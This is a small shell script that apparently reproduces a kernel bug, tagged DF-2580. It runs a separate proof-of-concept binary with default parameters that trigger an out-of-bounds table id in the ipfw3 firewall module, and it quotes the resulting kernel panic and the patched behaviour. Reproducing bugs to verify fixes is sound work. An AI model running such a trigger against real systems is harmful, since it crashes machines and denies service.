DF-2580 / run.sh
#!/bin/sh # DF-2580 run — trigger the ipfw3 table id OOB. # Requires: root (raw IP socket needs SYSCAP_NONET_RAW); ipfw3 + ipfw3_basic loaded. # Args: [opcode] [id] [type] defaults: opcode=73(CREATE) id=100000 type=1 # # On the UNPATCHED kernel, id=100000 panics the kernel: # Fatal trap 12 ... Stopped at table_create_dispatch+0x45: movl $0,0x30(%rbx) # On the PATCHED kernel (DF-2580 fix), every out-of-range id returns EINVAL. BIN="${1:-./poc}" OPCODE="${2:-73}" ID="${3:-100000}" TYPE="${4:-1}" echo "+ $BIN $OPCODE $ID $TYPE" exec "$BIN" "$OPCODE" "$ID" "$TYPE" |